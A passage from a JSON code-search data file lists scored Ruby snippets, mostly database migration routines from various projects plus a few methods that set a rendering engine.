"docid": "94a78429aec6bb7deaac4e503b717f40",
"score": "0.6153024",
"text": "def redo!\n version!(:next)\n migrate!\n end",
"title": ""
},
{
"docid": "cd2b02839b1cdee766872d2720549bbc",
"score": "0.61464125",
"text": "def run_all\n self.migrate if self.run_on_start?\n end",
"title": ""
},
{
"docid": "f027e2df864c0b635243117a7d3ae20e",
"score": "0.6142951",
"text": "def migrate(delta)\n if delta == 0\n return\n elsif delta > 0 # up\n run = @versions[@current+1, delta]\n else # down\n run = @versions[@current+delta+1..@current].reverse!\n end\n\n setup run\n\n error = nil\n begin\n run.each do |m|\n method = :\"#{m.tag}_#{delta > 0 ? 'up' : 'down'}\"\n log :info, \"Migrating #{method} (#{m.id}) ...\"\n \n require m.file\n\n if respond_to? method\n start = Time.now\n before_each m\n begin\n send method\n rescue Exception => error\n break\n ensure\n after_each error\n log :info, \"... #{error ? 'error' : 'completed'} (#{'%.2f' % (Time.now-start)}).\"\n end\n else\n log :warn, \"#{method} is not defined; ignoring\"\n log :info, \"... skipped.\"\n end\n\n @current += (delta <=> 0)\n end\n rescue Exception => error\n ensure\n teardown error\n end\n\n !error\n end",
"title": ""
},
{
"docid": "eb82a371e9914222c8faa951cd3ce54e",
"score": "0.6140319",
"text": "def copy_migration\n raise StandardError, 'Heimdallr currently only supports PostgreSQL' unless postgresql?\n\n if (behavior == :invoke && model_exists?) || (behavior == :revoke && migration_exists?(table_name))\n migration_template 'existing_token.rb', \"db/migrate/add_heimdallr_to_#{table_name}.rb\"\n else\n migration_template 'create_tokens.rb', \"db/migrate/heimdallr_create_#{table_name}.rb\"\n end\n end",
"title": ""
},
{
"docid": "49418c8461009d9b16a112e8c9010cb1",
"score": "0.61355925",
"text": "def run(*migration_classes)\n opts = migration_classes.extract_options!\n dir = opts[:direction] || :up\n dir = (dir == :down ? :up : :down) if opts[:revert]\n if reverting?\n # If in revert and going :up, say, we want to execute :down without reverting, so\n revert { run(*migration_classes, direction: dir, revert: true) }\n else\n migration_classes.each do |migration_class|\n migration_class.new.exec_migration(connection, dir)\n end\n end\n end",
"title": ""
},
{
"docid": "01f11a8451dd306df374c49537e5c95f",
"score": "0.6133029",
"text": "def migrate(direction)\n @dir = direction\n super\n end",
"title": ""
},
{
"docid": "3274f8e3a9260ebf17b9c73b660baaf3",
"score": "0.6121687",
"text": "def up(&block)\n migration.up = block\n end",
"title": ""
},
{
"docid": "80ad69d896e44fcdf42312c3f35c3f1c",
"score": "0.6119598",
"text": "def prepare_to_migrate\n if active_table_name != base_table_name\n connection.execute( \"truncate table #{base_table_name}\" )\n connection.execute( \"insert into #{base_table_name} select * from #{active_table_name}\" )\n end\n suffixed_table_names.each do |stn|\n connection.execute( \"drop table if exists #{stn}\" )\n end\n connection.execute( \"drop table if exists #{switch_table_name}\" )\n end",
"title": ""
},
{
"docid": "75eeb47a7a004910a5734a95fba3d22c",
"score": "0.6111785",
"text": "def run(*migration_classes)\n opts = migration_classes.extract_options!\n dir = opts[:direction] || :up\n dir = (dir == :down ? :up : :down) if opts[:revert]\n if reverting?\n # If in revert and going :up, say, we want to execute :down without reverting, so\n revert { run(*migration_classes, direction: dir, revert: true) }\n else\n migration_classes.each do |migration_class|\n migration_class.new.exec_migration(@connection, dir)\n end\n end\n end",
"title": ""
},
{
"docid": "7955f4e5aed4c51db122eacd8ddd164f",
"score": "0.61022335",
"text": "def perform_up\n result = nil\n\n if needs_up?\n # TODO: fix this so it only does transactions for databases that support create/drop\n # database.transaction.commit do\n if @up_action\n say_with_time \"== Performing Up Migration ##{position}: #{name}\", 0 do\n result = @up_action.call\n end\n end\n\n update_migration_info(:up)\n # end\n end\n\n result\n end",
"title": ""
},
{
"docid": "e080a2d263bd8365c1c2bd158b21774b",
"score": "0.6097128",
"text": "def migrate!(env=:production)\n invoke [:migrate], env\n end",
"title": ""
},
{
"docid": "82b142cee69359230b2e6938ff59646f",
"score": "0.6092946",
"text": "def run_on_change(paths)\n self.migrate(paths.map{|path| path.scan(%r{^db/migrate/(\\d+).+\\.rb}).flatten.first})\n end",
"title": ""
},
{
"docid": "2818ba20d59774c9eafa86dc74087c3c",
"score": "0.608053",
"text": "def execute(sql)\n super\n @database.execute2 sql\n end",
"title": ""
},
{
"docid": "f194dac40e584fa91d01f798172a6f9a",
"score": "0.6073793",
"text": "def migrate(migration_name)\n migration_statements(migration_name).each { |statement| run_statement(statement, client) }\n end",
"title": ""
},
{
"docid": "6bad707d10481f098b77752b056da5c2",
"score": "0.6063398",
"text": "def auto_migrate_up!(args=nil)\n DataMapper.logger.warn(\"Skipping auto_migrate_up! for remixable module (#{self.name})\")\n end",
"title": ""
},
{
"docid": "72678d670a4b7f80397fa184e67f9217",
"score": "0.6053827",
"text": "def migrator\n ActiveRecord::Migration.verbose = ENV[\"VERBOSE\"] ? ENV[\"VERBOSE\"] == \"true\" : true\n version = ENV[\"VERSION\"] ? ENV[\"VERSION\"].to_i : nil\n do_schemas_iterating_migrations {|path| ActiveRecord::Migrator.run(:up, path, version) } \n end",
"title": ""
},
{
"docid": "529293ebec2279d7270922da5103eca3",
"score": "0.60501945",
"text": "def after_migrate_record() end",
"title": ""
},
{
"docid": "0191bc3ba51c558a8a203513199cdcb4",
"score": "0.603555",
"text": "def up\n MergeRequest.where(latest_merge_request_diff_id: nil).each_batch(of: BATCH_SIZE) do |relation, index|\n range = relation.pluck('MIN(id)', 'MAX(id)').first\n\n BackgroundMigrationWorker.perform_in(index * 5.minutes, MIGRATION, range)\n end\n end",
"title": ""
},
{
"docid": "a99fede4e3e739fe116c4e4120ff812c",
"score": "0.603412",
"text": "def migrate_without_lock\n if invalid_target?\n raise UnknownMigrationVersionError.new(@target_version)\n end\n\n record_environment\n runnable.each(&method(:execute_migration_in_transaction))\n end",
"title": ""
},
{
"docid": "327244f532d58102b86c918c169dc7c6",
"score": "0.602324",
"text": "def migrate_up\n # Create the mole_features table if it doesn't exist\n unless ActiveRecord::Schema.tables.include?('mole_features')\n ActiveRecord::Schema.create_table('mole_features') do |t|\n t.column :name, :string \n t.column :context, :string\n t.column :app_name, :string\n t.column :created_at, :datetime\n t.column :updated_at, :datetime\n end\n ActiveRecord::Schema.add_index( 'mole_features', \n ['name', 'context', 'app_name'], \n :name => 'feature_idx')\n end\n # Create the mole_logs table if it doesn't exist\n unless ActiveRecord::Schema.tables.include?('mole_logs')\n ActiveRecord::Schema.create_table('mole_logs') do |t|\n t.column :mole_feature_id, :integer\n t.column :user_id, :integer\n t.column :params, :string, :limit => 1024 \n t.column :ip_address, :string\n t.column :browser_type, :string \n t.column :host_name, :string\n t.column :created_at, :datetime\n t.column :updated_at, :datetime\n end \n ActiveRecord::Schema.add_index( 'mole_logs', \n ['mole_feature_id','user_id'], \n :name => \"log_feature_idx\" )\n ActiveRecord::Schema.add_index( 'mole_logs', \n ['mole_feature_id','created_at'], \n :name => \"log_date_idx\",\n :unique => true )\n end\n end",
"title": ""
},
{
"docid": "0f63d91a0561a8d27489b00e41bb073a",
"score": "0.6010893",
"text": "def migrate direction\n\t\t\t\tbegin\n\t\t\t\t\tif @database[\"adapter\"] == nil\n\t\t\t\t\t\treturn false, \"[!] Invalid database adapter, please check your configuration file\"\n\t\t\t\t\tend\n\n\t\t\t\t\tActiveRecord::Base.establish_connection(@database)\n\t\t\t\t\trequire 'kekkan/base/schema'\n\t\t\t\t\tSchema.migrate(direction)\n\n\t\t\t\t\tif direction == :up\n\t\t\t\t\t\tputs \"[*] Creating tables\"\n\t\t\t\t\t\tver = Version.create\n\t\t\t\t\t\tver.version = Kekkan::VERSION\n\t\t\t\t\t\tver.save\n\t\t\t\t\tend\n\n\t\t\t\t\tputs \"[*] Dropping tables\" if direction == :down\n\n\t\t\t\t#@todo temp hack, fix this by checking the schema on :up or :down for exiting data\n\t\t\t\trescue SQLite3::SQLException => sqlitex\n\t\t\t\t\tputs \"#{sqlitex.message}\\n #{sqlitex.backtrace}\" if @options[:debug]\n\t\t\t\t\tcontinue\n\t\t\t\trescue ActiveRecord::AdapterNotSpecified => ans\n\t\t\t\t\tputs \"[!] Database adapter not found, please check your configuration file\"\n\t\t\t\t\tputs \"#{ans.message}\\n #{ans.backtrace}\" if @options[:debug]\n\t\t\t\t\texit\n\t\t\t\trescue ActiveRecord::AdapterNotFound => anf\n\t\t\t\t\tputs \"[!] Database adapter not found, please check your configuration file\"\n\t\t\t\t\tputs \"#{ans.message}\\n #{ans.backtrace}\" if @options[:debug]\n\t\t\t\t\texit\n\t\t\t\trescue => e\n\t\t\t\t\tputs \"[!] Exception! #{e.message}\\n#{e.backtrace}\"\n\t\t\t\t\texit\n\t\t\t\tend\n\t\t\tend",
"title": ""
},
{
"docid": "6ceaf3c9b18766f9e1ffe8591f11f81e",
"score": "0.5994925",
"text": "def migrate_user_call_to_actions(source_db_tenant, destination_db_tenant, source_db_connection, destination_db_connection, users_id_map, core_custom_galleries_tags_id)\n source_galleries = source_db_connection.exec(\"SELECT * FROM core_galleries ORDER BY parent_custom_gallery_id\")\n source_galleries_count = source_galleries.count\n\n puts \"user_call_to_actions: #{source_galleries_count} lines to migrate \\nRunning migration...\"\n STDOUT.flush\n lines_step, next_step = init_progress(source_galleries_count)\n\n count = 0\n rows_with_user_missing = 0\n user_call_to_actions_id_map = Hash.new\n\n ugc_tag_id = destination_db_connection.exec(\"SELECT id FROM #{destination_db_tenant.nil? ? \"\" : destination_db_tenant + \".\"}tags where name = 'ugc'\").values[0][0].to_i\n\n source_galleries.each do |line|\n\n fields_for_releasing_files = {\n #\"id\" =>\n \"created_at\" => Time.now.utc.strftime(\"%Y-%m-%d %H:%M:%S\"),\n \"updated_at\" => Time.now.utc.strftime(\"%Y-%m-%d %H:%M:%S\"),\n \"file_file_name\" => nullify_or_escape_string(source_db_connection, line[\"release_file_name\"]),\n \"file_content_type\" => nullify_or_escape_string(source_db_connection, line[\"release_content_type\"]),\n \"file_file_size\" => line[\"release_file_size\"] != nil ? line[\"release_file_size\"] : \"NULL\",\n \"file_updated_at\" => line[\"release_updated_at\"] != nil ? nullify_or_escape_string(source_db_connection, line[\"release_updated_at\"]) : \"NULL\"\n }\n \n query_for_releasing_files = build_query_string(destination_db_tenant, \"releasing_files\", fields_for_releasing_files)\n destination_db_connection.exec(query_for_releasing_files)\n\n new_user_id = users_id_map[line[\"user_id\"].to_i]\n if new_user_id.nil?\n rows_with_user_missing += 1\n else\n description = nullify_or_escape_string(source_db_connection, line[\"description\"])\n updated_at = nullify_or_escape_string(source_db_connection, line[\"updated_at\"])\n\n fields_for_call_to_actions = {\n #\"id\" => line[\"id\"].to_i,\n \"name\" => nullify_or_escape_string(source_db_connection, \"id#{line[\"id\"]}\".gsub(\" \", \"\")),\n \"title\" => description.length > 100 ? nullify_or_escape_string(source_db_connection, description[0..100] + \"...\") : description,\n \"description\" => description,\n \"media_type\" => \"IMAGE\",\n \"enable_disqus\" => \"f\",\n \"activated_at\" => line[\"published_at\"] != nil ? nullify_or_escape_string(source_db_connection, line[\"published_at\"]) : \"NULL\",\n \"secondary_id\" => \"NULL\",\n \"created_at\" => nullify_or_escape_string(source_db_connection, line[\"created_at\"]),\n \"updated_at\" => updated_at,\n \"slug\" => \"NULL\",\n \"media_image_file_name\" => nullify_or_escape_string(source_db_connection, line[\"picture_file_name\"]),\n \"media_image_content_type\" => nullify_or_escape_string(source_db_connection, line[\"picture_content_type\"]),\n \"media_image_file_size\" => line[\"cta_image_file_size\"] != nil ? line[\"picture_file_size\"] : \"NULL\",\n \"media_image_updated_at\" => line[\"cta_image_updated_at\"] != nil ? nullify_or_escape_string(source_db_connection, line[\"picture_updated_at\"]) : \"NULL\",\n \"media_data\" => \"NULL\",\n \"releasing_file_id\" => destination_db_connection.exec(\"SELECT currval('#{destination_db_tenant.nil? ? \"\" : destination_db_tenant + \".\"}releasing_files_id_seq')\").values[0][0].to_i,\n \"approved\" => line[\"published_at\"] != nil ? \"t\" : \"f\",\n \"thumbnail_file_name\" => \"NULL\",\n \"thumbnail_content_type\" => \"NULL\",\n \"thumbnail_file_size\" => \"NULL\",\n \"thumbnail_updated_at\" => \"NULL\",\n \"user_id\" => new_user_id, # could it be null?\n \"aux\" => \"{}\"\n }\n \n query_for_call_to_actions = build_query_string(destination_db_tenant, \"call_to_actions\", fields_for_call_to_actions)\n \n destination_db_connection.exec(query_for_call_to_actions)\n user_call_to_actions_id_map.store(line[\"id\"].to_i, destination_db_connection.exec(\"SELECT currval('#{destination_db_tenant.nil? ? \"\" : destination_db_tenant + \".\"}call_to_actions_id_seq')\").values[0][0].to_i)\n \n new_cta_id = destination_db_connection.exec(\"SELECT currval('#{destination_db_tenant.nil? ? \"\" : destination_db_tenant + \".\"}call_to_actions_id_seq')\").values[0][0].to_i\n if line[\"parent_custom_gallery_id\"] != \"NULL\"\n create_call_to_action_tag_gallery(source_db_tenant, destination_db_tenant, destination_db_connection, new_cta_id, core_custom_galleries_tags_id[line[\"parent_custom_gallery_id\"]])\n end\n\n create_call_to_action_tag(source_db_tenant, destination_db_tenant, source_db_connection, destination_db_connection, new_cta_id, ugc_tag_id, updated_at)\n\n count += 1\n next_step = print_progress(count, lines_step, next_step, source_galleries_count)\n end\n end\n puts \"#{count} lines successfully migrated \\n#{rows_with_user_missing} rows had dangling reference to user \\n\"\n write_table_id_mapping_to_file(source_db_tenant, \"user_call_to_actions\", user_call_to_actions_id_map)\n return user_call_to_actions_id_map\nend",
"title": ""
},
{
"docid": "c92fe799356423097d9ececf5aa5f2a2",
"score": "0.5987754",
"text": "def copy_cookie_crypt_migration_all\n if ActiveRecord::Base.class_eval(\"#{table_name.camelize.singularize}.inspect['security_question_one: string'].blank?\") &&\n ActiveRecord::Base.class_eval(\"#{table_name.camelize.singularize}.inspect['security_hash: text'].blank?\")\n\n @ignore_other_migrations = true\n migration_template \"migration_complete.rb\", \"db/migrate/cookie_crypt_complete_install_add_to_#{table_name}\"\n end\n end",
"title": ""
},
{
"docid": "fd58a16ae65c968fdd173ba6949a4a3a",
"score": "0.59800637",
"text": "def up\n file = File.join(File.dirname(__FILE__), 'up.sql')\n sql = File.read(file)\n execute sql\n end",
"title": ""
},
{
"docid": "de9f82aa598c72b7962fde5bec467e60",
"score": "0.59622276",
"text": "def migrate(target_version = T.unsafe(nil), &block); end",
"title": ""
},
{
"docid": "c6c841ae68893f682b31fc4e2a3561b0",
"score": "0.5958386",
"text": "def run_migration\n rake \"db:migrate\", :env => \"test\"\n end",
"title": ""
},
{
"docid": "e6d368c35c465c6b947f9f4d193e99ba",
"score": "0.594981",
"text": "def test_apply_all_migrations\n @installer = DBGeni::Base.installer_for_environment(helper_sqlite_single_environment_file, 'development')\n @installer.initialize_database\n migration = helper_good_sqlite_dml\n assert_nothing_raised do\n @installer.apply_all_dmls\n end\n assert_equal(1, @installer.applied_dmls.length)\n end",
"title": ""
},
{
"docid": "bfd856016dfb99109a78a8e7109f18b7",
"score": "0.59486634",
"text": "def apply_prepends(raw)\n apply_prepend_migrate(raw)\n end",
"title": ""
},
{
"docid": "28bc7809159f716fc9952bc16203b75a",
"score": "0.5931837",
"text": "def ddl_transaction(migration, &block); end",
"title": ""
},
{
"docid": "6d069a41b9afa647817cca2202074f22",
"score": "0.59306735",
"text": "def up\n with_lock_retries do\n execute <<~SQL\n CREATE TABLE \"product_analytics_events_experimental\" (\n id bigserial NOT NULL,\n -- App\n \"project_id\" integer NOT NULL REFERENCES projects(id) ON DELETE CASCADE,\n \"platform\" varchar(255),\n -- Date/time\n \"etl_tstamp\" timestamp with time zone,\n \"collector_tstamp\" timestamp with time zone NOT NULL,\n \"dvce_created_tstamp\" timestamp with time zone,\n -- Date/time\n \"event\" varchar(128),\n \"event_id\" char(36) NOT NULL,\n \"txn_id\" integer,\n -- Versioning\n \"name_tracker\" varchar(128),\n \"v_tracker\" varchar(100),\n \"v_collector\" varchar(100) NOT NULL,\n \"v_etl\" varchar(100) NOT NULL,\n -- User and visit\n \"user_id\" varchar(255),\n \"user_ipaddress\" varchar(45),\n \"user_fingerprint\" varchar(50),\n \"domain_userid\" varchar(36),\n \"domain_sessionidx\" smallint,\n \"network_userid\" varchar(38),\n -- Location\n \"geo_country\" char(2),\n \"geo_region\" char(3),\n \"geo_city\" varchar(75),\n \"geo_zipcode\" varchar(15),\n \"geo_latitude\" double precision,\n \"geo_longitude\" double precision,\n \"geo_region_name\" varchar(100),\n -- IP lookups\n \"ip_isp\" varchar(100),\n \"ip_organization\" varchar(100),\n \"ip_domain\" varchar(100),\n \"ip_netspeed\" varchar(100),\n -- Page\n \"page_url\" text,\n \"page_title\" varchar(2000),\n \"page_referrer\" text,\n -- Page URL components\n \"page_urlscheme\" varchar(16),\n \"page_urlhost\" varchar(255),\n \"page_urlport\" integer,\n \"page_urlpath\" varchar(3000),\n \"page_urlquery\" varchar(6000),\n \"page_urlfragment\" varchar(3000),\n -- Referrer URL components\n \"refr_urlscheme\" varchar(16),\n \"refr_urlhost\" varchar(255),\n \"refr_urlport\" integer,\n \"refr_urlpath\" varchar(6000),\n \"refr_urlquery\" varchar(6000),\n \"refr_urlfragment\" varchar(3000),\n -- Referrer details\n \"refr_medium\" varchar(25),\n \"refr_source\" varchar(50),\n \"refr_term\" varchar(255),\n -- Marketing\n \"mkt_medium\" varchar(255),\n \"mkt_source\" varchar(255),\n \"mkt_term\" varchar(255),\n \"mkt_content\" varchar(500),\n \"mkt_campaign\" varchar(255),\n -- Custom structured event\n \"se_category\" varchar(1000),\n \"se_action\" varchar(1000),\n \"se_label\" varchar(1000),\n \"se_property\" varchar(1000),\n \"se_value\" double precision,\n -- Ecommerce\n \"tr_orderid\" varchar(255),\n \"tr_affiliation\" varchar(255),\n \"tr_total\" decimal(18,2),\n \"tr_tax\" decimal(18,2),\n \"tr_shipping\" decimal(18,2),\n \"tr_city\" varchar(255),\n \"tr_state\" varchar(255),\n \"tr_country\" varchar(255),\n \"ti_orderid\" varchar(255),\n \"ti_sku\" varchar(255),\n \"ti_name\" varchar(255),\n \"ti_category\" varchar(255),\n \"ti_price\" decimal(18,2),\n \"ti_quantity\" integer,\n -- Page ping\n \"pp_xoffset_min\" integer,\n \"pp_xoffset_max\" integer,\n \"pp_yoffset_min\" integer,\n \"pp_yoffset_max\" integer,\n -- User Agent\n \"useragent\" varchar(1000),\n -- Browser\n \"br_name\" varchar(50),\n \"br_family\" varchar(50),\n \"br_version\" varchar(50),\n \"br_type\" varchar(50),\n \"br_renderengine\" varchar(50),\n \"br_lang\" varchar(255),\n \"br_features_pdf\" boolean,\n \"br_features_flash\" boolean,\n \"br_features_java\" boolean,\n \"br_features_director\" boolean,\n \"br_features_quicktime\" boolean,\n \"br_features_realplayer\" boolean,\n \"br_features_windowsmedia\" boolean,\n \"br_features_gears\" boolean,\n \"br_features_silverlight\" boolean,\n \"br_cookies\" boolean,\n \"br_colordepth\" varchar(12),\n \"br_viewwidth\" integer,\n \"br_viewheight\" integer,\n -- Operating System\n \"os_name\" varchar(50),\n \"os_family\" varchar(50),\n \"os_manufacturer\" varchar(50),\n \"os_timezone\" varchar(50),\n -- Device/Hardware\n \"dvce_type\" varchar(50),\n \"dvce_ismobile\" boolean,\n \"dvce_screenwidth\" integer,\n \"dvce_screenheight\" integer,\n -- Document\n \"doc_charset\" varchar(128),\n \"doc_width\" integer,\n \"doc_height\" integer,\n -- Currency\n \"tr_currency\" char(3),\n \"tr_total_base\" decimal(18, 2),\n \"tr_tax_base\" decimal(18, 2),\n \"tr_shipping_base\" decimal(18, 2),\n \"ti_currency\" char(3),\n \"ti_price_base\" decimal(18, 2),\n \"base_currency\" char(3),\n -- Geolocation\n \"geo_timezone\" varchar(64),\n -- Click ID\n \"mkt_clickid\" varchar(128),\n \"mkt_network\" varchar(64),\n -- ETL tags\n \"etl_tags\" varchar(500),\n -- Time event was sent\n \"dvce_sent_tstamp\" timestamp with time zone,\n -- Referer\n \"refr_domain_userid\" varchar(36),\n \"refr_dvce_tstamp\" timestamp with time zone,\n -- Session ID\n \"domain_sessionid\" char(36),\n -- Derived timestamp\n \"derived_tstamp\" timestamp with time zone,\n -- Event schema\n \"event_vendor\" varchar(1000),\n \"event_name\" varchar(1000),\n \"event_format\" varchar(128),\n \"event_version\" varchar(128),\n -- Event fingerprint\n \"event_fingerprint\" varchar(128),\n -- True timestamp\n \"true_tstamp\" timestamp with time zone,\n PRIMARY KEY (id, project_id)\n ) PARTITION BY HASH (project_id)\n WITHOUT OIDS;\n\n CREATE INDEX index_product_analytics_events_experimental_project_and_time ON product_analytics_events_experimental (project_id, collector_tstamp);\n SQL\n\n create_hash_partitions :product_analytics_events_experimental, 64\n end\n end",
"title": ""
},
{
"docid": "d43a14f94102c6766fa37f6e1ccb5784",
"score": "0.59200937",
"text": "def migrate\n announce \"migrating\"\n result = nil\n time = Benchmark.measure { result = load(\"#{filename}\") }\n announce \"migrated (%.4fs)\" % time.real; write\n result\n end",
"title": ""
},
{
"docid": "1fe4a134d6fd3a8a129b9620e719a71f",
"score": "0.59106266",
"text": "def force_migrate(file_name)\n migration_file = @migrations_path + file_name\n load(migration_file)\n version, name = migration_version_and_name(migration_file)\n migration_class(name, version.to_i).migrate(@direction)\n migration_class_name = migration_class(name, version.to_i).name\n if @direction == :up and !schema_history_exists(version, migration_class_name)\n update_schema_history(version, migration_class_name)\n elsif @direction == :down and schema_history_exists(version, migration_class_name)\n update_schema_history(version, migration_class_name)\n end\n end",
"title": ""
},
{
"docid": "da88c2c2941ce04ad931b72a5915ff33",
"score": "0.59106255",
"text": "def migration(name, &block)\n create_migrations_table\n return if database[migrations_table_name].filter(:name => name).count > 0\n migrations_log.puts \"Running migration: #{name}\"\n database.transaction do\n yield database\n database[migrations_table_name] << { :name => name, :run_at => Time.now }\n end\n end",
"title": ""
},
{
"docid": "6e1c0875aa4696f4dac96c6763d339db",
"score": "0.5908553",
"text": "def copy_migration\n raise StandardError, 'Heimdallr currently only supports PostgreSQL' unless postgresql?\n\n if (behavior == :invoke && model_exists?) || (behavior == :revoke && migration_exists?(table_name))\n migration_template 'existing_application.rb', \"db/migrate/add_heimdallr_to_#{table_name}.rb\"\n else\n migration_template 'create_applications.rb', \"db/migrate/heimdallr_create_#{table_name}.rb\"\n end\n end",
"title": ""
},
{
"docid": "fb7c8ea7193249b328f6592780f66d69",
"score": "0.5906949",
"text": "def chrono_upgrade_structure!\n transaction do\n\n chrono_tables_needing_upgrade.each do |table_name, desc|\n\n if desc[:version].blank?\n logger.info \"ChronoModel: Upgrading legacy PG 9.0 table #{table_name} to #{VERSION}\"\n chrono_upgrade_from_postgres_9_0(table_name)\n logger.info \"ChronoModel: legacy #{table_name} upgrade complete\"\n else\n logger.info \"ChronoModel: upgrading #{table_name} from #{desc[:version]} to #{VERSION}\"\n chrono_public_view_ddl(table_name)\n logger.info \"ChronoModel: #{table_name} upgrade complete\"\n end\n\n end\n end\n rescue => e\n message = \"ChronoModel structure upgrade failed: #{e.message}. Please drop dependent objects first and then run ChronoModel.upgrade! again.\"\n\n # Quite important, output it also to stderr.\n #\n logger.error message\n $stderr.puts message\n end",
"title": ""
}
] |
6908e2d5511d53eb38c648b2c6dda7a1
|
set engine to be used.
|
[
{
"docid": "f2dd3580f9dba7da7964b9e6f0509e6d",
"score": "0.6823498",
"text": "def engine engine = nil, ext = nil\n if engine && configurable?\n @engine = engine_supported?(engine)\n @ext = ext || guess_extension(@engine)\n end\n @setup[:engine] ||= @engine ||\n (@node.node.partition.view.engine if @node) ||\n Presto.opts.view.engine\n end",
"title": ""
}
] |
[
{
"docid": "f109379d140252194489b39155ba04aa",
"score": "0.8583273",
"text": "def engine= engine\n @engine = engine\n end",
"title": ""
},
{
"docid": "bce51e1cf78e8aeb8d89c5c0c012edaa",
"score": "0.81204355",
"text": "def engine=(engine)\n @engines = [engine]\n end",
"title": ""
},
{
"docid": "32f150ca409c34d2379938709d8eebfd",
"score": "0.80780417",
"text": "def engine! engine\n @engine = engine\n end",
"title": ""
},
{
"docid": "61b0b99a07378ac0f7adc4ceb73400c7",
"score": "0.80405504",
"text": "def engine=(kls); @@engine = kls; end",
"title": ""
},
{
"docid": "5843e6fe4c881c8a65a99e7c2501d0b4",
"score": "0.75905806",
"text": "def set_Engine(value)\n set_input(\"Engine\", value)\n end",
"title": ""
},
{
"docid": "5843e6fe4c881c8a65a99e7c2501d0b4",
"score": "0.75905806",
"text": "def set_Engine(value)\n set_input(\"Engine\", value)\n end",
"title": ""
},
{
"docid": "5843e6fe4c881c8a65a99e7c2501d0b4",
"score": "0.75905806",
"text": "def set_Engine(value)\n set_input(\"Engine\", value)\n end",
"title": ""
},
{
"docid": "821f7fbb5f92acba53c8865add1c20ee",
"score": "0.758628",
"text": "def current_engine=(v)\n @_current_engine = v\n end",
"title": ""
},
{
"docid": "29945e4a6d814f1d2a9befc76fefcdcd",
"score": "0.75786835",
"text": "def engine=(new_engine)\n case new_engine\n when String, Symbol\n require \"multi_xml/engines/#{new_engine}\"\n @engine = MultiXml::Engines.const_get(\"#{new_engine.to_s.split('_').map{|s| s.capitalize}.join('')}\")\n when Class\n @engine = new_engine\n else\n raise \"Did not recognize your engine specification. Please specify either a symbol or a class.\"\n end\n end",
"title": ""
},
{
"docid": "adf5b6b77ee548e8ebabe647d8afb46a",
"score": "0.74987346",
"text": "def set_engine\n @engine = Engine.find(params[:id])\n end",
"title": ""
},
{
"docid": "adf5b6b77ee548e8ebabe647d8afb46a",
"score": "0.74987346",
"text": "def set_engine\n @engine = Engine.find(params[:id])\n end",
"title": ""
},
{
"docid": "adf5b6b77ee548e8ebabe647d8afb46a",
"score": "0.74987346",
"text": "def set_engine\n @engine = Engine.find(params[:id])\n end",
"title": ""
},
{
"docid": "ab3801b165cf6e63fcd0352e62851de3",
"score": "0.74986905",
"text": "def engine(value = nil)\n if value.nil?\n @engine\n else\n @engine = value\n end\n end",
"title": ""
},
{
"docid": "5ae4321d8cd51902dae959b0f94e0234",
"score": "0.7370919",
"text": "def engine\n return @engine if @engine\n self.engine = self.default_engine\n @engine\n end",
"title": ""
},
{
"docid": "46264664a076515928325da342e96111",
"score": "0.7329693",
"text": "def added_to_engine(engine)\n self.engine = engine\n end",
"title": ""
},
{
"docid": "46264664a076515928325da342e96111",
"score": "0.7329693",
"text": "def added_to_engine(engine)\n self.engine = engine\n end",
"title": ""
},
{
"docid": "891b3de7f679c040886eef22ba2a283f",
"score": "0.72170424",
"text": "def engine; @@engine ||= detect_engine; @@engine; end",
"title": ""
},
{
"docid": "f85f355565cc98a2509479fbf829086c",
"score": "0.704197",
"text": "def engine\n @engine ||= find_engine\n end",
"title": ""
},
{
"docid": "e2d271a476ed2ea27e51a6ca7730dd3a",
"score": "0.70373195",
"text": "def default_engine; end",
"title": ""
},
{
"docid": "fb46a66ca02284109a6f91acdb6aac10",
"score": "0.702607",
"text": "def engine\n @engine\n end",
"title": ""
},
{
"docid": "8a2597b9e4e4774e74a1274dbc79c4f6",
"score": "0.70066833",
"text": "def default_engine\n engine(settings.engine)\n end",
"title": ""
},
{
"docid": "3bd660eec14b27fc46aa263783aab662",
"score": "0.69767874",
"text": "def engine\n @config[:engine]\n end",
"title": ""
},
{
"docid": "e868cc662d5514785cad2ee306e095f0",
"score": "0.69506955",
"text": "def engine?; end",
"title": ""
},
{
"docid": "1e48a25f56481b8fabbbf1134cc93ae9",
"score": "0.6905458",
"text": "def engine=(_arg0); end",
"title": ""
},
{
"docid": "0bc439e5a5e9522fa35145756204acc6",
"score": "0.68376434",
"text": "def engine=(new_adapter); end",
"title": ""
},
{
"docid": "630abe3c2c702ed68d65ab5236f055ca",
"score": "0.67637706",
"text": "def yamler= engine # :nodoc:\n case engine\n when 'syck' then warn \"syck has been removed, psych is used instead\"\n when 'psych' then @yamler = 'psych'\n else\n raise(ArgumentError, \"bad engine\")\n end\n\n engine\n end",
"title": ""
},
{
"docid": "7eb97b5d253276b0d4e78019e6c4f626",
"score": "0.6756504",
"text": "def engine; end",
"title": ""
},
{
"docid": "56bc76021e5f5e1e11680486a3aa2265",
"score": "0.6741118",
"text": "def engine\n self\n end",
"title": ""
},
{
"docid": "c64a13961006d96725f37294a078db42",
"score": "0.67361367",
"text": "def setup(name, options = EMPTY_HASH)\n engines[name.to_sym] = Engine.build(options)\n self\n end",
"title": ""
},
{
"docid": "d51202a283c6bb34d896f6c46735d840",
"score": "0.6598915",
"text": "def init_engine\n end",
"title": ""
},
{
"docid": "8057dd4846b4aabfa407132f4cd4e66b",
"score": "0.6574348",
"text": "def set_enginemodel\n @enginemodel = Enginemodel.find(params[:id])\n end",
"title": ""
},
{
"docid": "f6d9f0cec0ce40751440101fd2815032",
"score": "0.6547303",
"text": "def with_engine(new_adapter); end",
"title": ""
},
{
"docid": "ab4af52aa2413ae81787b2757395a0b5",
"score": "0.6523111",
"text": "def engine\n SettingMaster.engine\n end",
"title": ""
},
{
"docid": "2e315708613d68d4dcba26d759033f01",
"score": "0.650559",
"text": "def engine\n @engine ||= get_engine_from_module(module_name)\n end",
"title": ""
},
{
"docid": "59c37cddf21059c5bc5584cb07df1e9f",
"score": "0.6498727",
"text": "def database_engine=(_arg0); end",
"title": ""
},
{
"docid": "c9998a76b31a8c732f0b31402269541c",
"score": "0.6492958",
"text": "def engine\n data[:engine]\n end",
"title": ""
},
{
"docid": "c9998a76b31a8c732f0b31402269541c",
"score": "0.6492958",
"text": "def engine\n data[:engine]\n end",
"title": ""
},
{
"docid": "c9998a76b31a8c732f0b31402269541c",
"score": "0.6492958",
"text": "def engine\n data[:engine]\n end",
"title": ""
},
{
"docid": "bd6af0180001bdef8468881645d9413b",
"score": "0.64576644",
"text": "def initialize\n super\n @engine = Engine.new()\n end",
"title": ""
},
{
